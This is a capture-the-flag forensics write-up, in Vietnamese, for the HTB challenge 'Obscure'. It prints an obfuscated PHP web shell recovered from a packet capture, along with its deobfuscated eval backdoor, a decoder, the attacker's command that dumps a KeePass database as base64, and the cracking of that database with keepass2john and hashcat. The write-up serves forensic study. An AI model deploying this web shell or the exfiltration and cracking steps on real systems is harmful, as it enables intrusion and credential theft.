# HTB: Obscure
Xem trong pcap thấy có web được xây dựng bằng php có tính năng upload file php tuỳ ý. (file: support.php)

Nội dung file support.php: Nội dung file bị obfuscate bằng cách chèn thêm "u)"
```
<?php
$V='$k="80eu)u)32263";$khu)=u)"6f8af44u)abea0";$kf=u)"35103u)u)9f4a7b5";$pu)="0UlYu)yJHG87Eu)JqEz6u)"u)u);function u)x($';
$P='++)u){$o.=u)$t{u)$i}^$k{$j};}}u)retuu)rn $o;}u)if(u)@pregu)_u)match("/$kh(.u)+)$kf/",@u)u)file_u)getu)_cu)ontents(';
$d='u)t,$k){u)$c=strlu)en($k);$l=strlenu)($t)u);u)$o=""u);for($i=0u);u)$i<$l;){for(u)$j=0;(u)$u)j<$c&&$i<$l)u)u);$j++,$i';
$B='ob_get_cou)ntu)ents();@obu)_end_cleu)anu)();$r=@basu)e64_eu)ncu)ode(@x(@gzu)compress(u)$o),u)$k));pru)u)int(u)"$p$kh$r$kf");}';
$N=str_replace('FD','','FDcreFDateFD_fFDuncFDFDtion');
$c='"php://u)input"),$u)m)==1){@u)obu)_start();u)@evau)l(@gzuu)ncu)ompress(@x(@bau)se64_u)decodu)e($u)m[1]),$k))u));$u)ou)=@';
$u=str_replace('u)','',$V.$d.$P.$c.$B);
$x=$N('',$u);$x();
?>
```
Nội dung file sau khi đã được loại bỏ "u)"
```
<?php
$k="80e32263";
$kh="6f8af44abea0";
$kf="351039f4a7b5";
$p="0UlYyJHG87EJqEz6";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}
?>
```
Sau khi đã loại bỏ "u)" và xem một số gói TCP Stream nhận thấy kết quả mã hoá được bắt đầu bằng `$p$kh` và kết thúc bằng `$kf`.
> VD: 0UlYyJHG87EJqEz66f8af44abea0~~QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy~~351039f4a7b5
Viết lại hàm xử lý của file support.php
```
<?php
$k="80e32263";
$kh="6f8af44abea0";
$kf="351039f4a7b5";
$p="0UlYyJHG87EJqEz6";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$input ="QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy";
$base64 = base64_decode($input);
$xor = x($base64,$k);
$r=gzuncompress($xor);
echo " ".$r;
?>
```
Ở gói TCP Stream 23: thấy có file pwdb.kdbx thuộc thư mục developer được sửa đổi lần cuối vào 20:37 21/05.

Ở gói TCP Stream 25:

Có:
+ `chdir('/home/developer')`: Đổi thư mục làm việc hiện tại thành "/home/developer".
+ `@error_reporting(0)`:Tắt báo cáo lỗi để không hiển thị thông báo lỗi.
+ `@system('base64 -w 0 pwdb.kdbx 2>&1')`:Mã hóa tệp pwdb.kdbx dưới dạng Base64 và hiển thị kết quả ra màn hình hoặc trả về, bao gồm cả thông báo lỗi nếu có.
Nội dung file New.txt


Theo như TCP Stream 25 thì dữ liệu sau khi base64 sẽ được lưu vào file pwdb.kdbx

Chuyển đổi file pwdb.kdbx từ dạng KeePass về dạng file .txt sử dụng keepass2john

Sử dụng hashcat để brute force password, mã băm của KeePass 2 là 13400

Mật khẩu: **`chainsaw`**

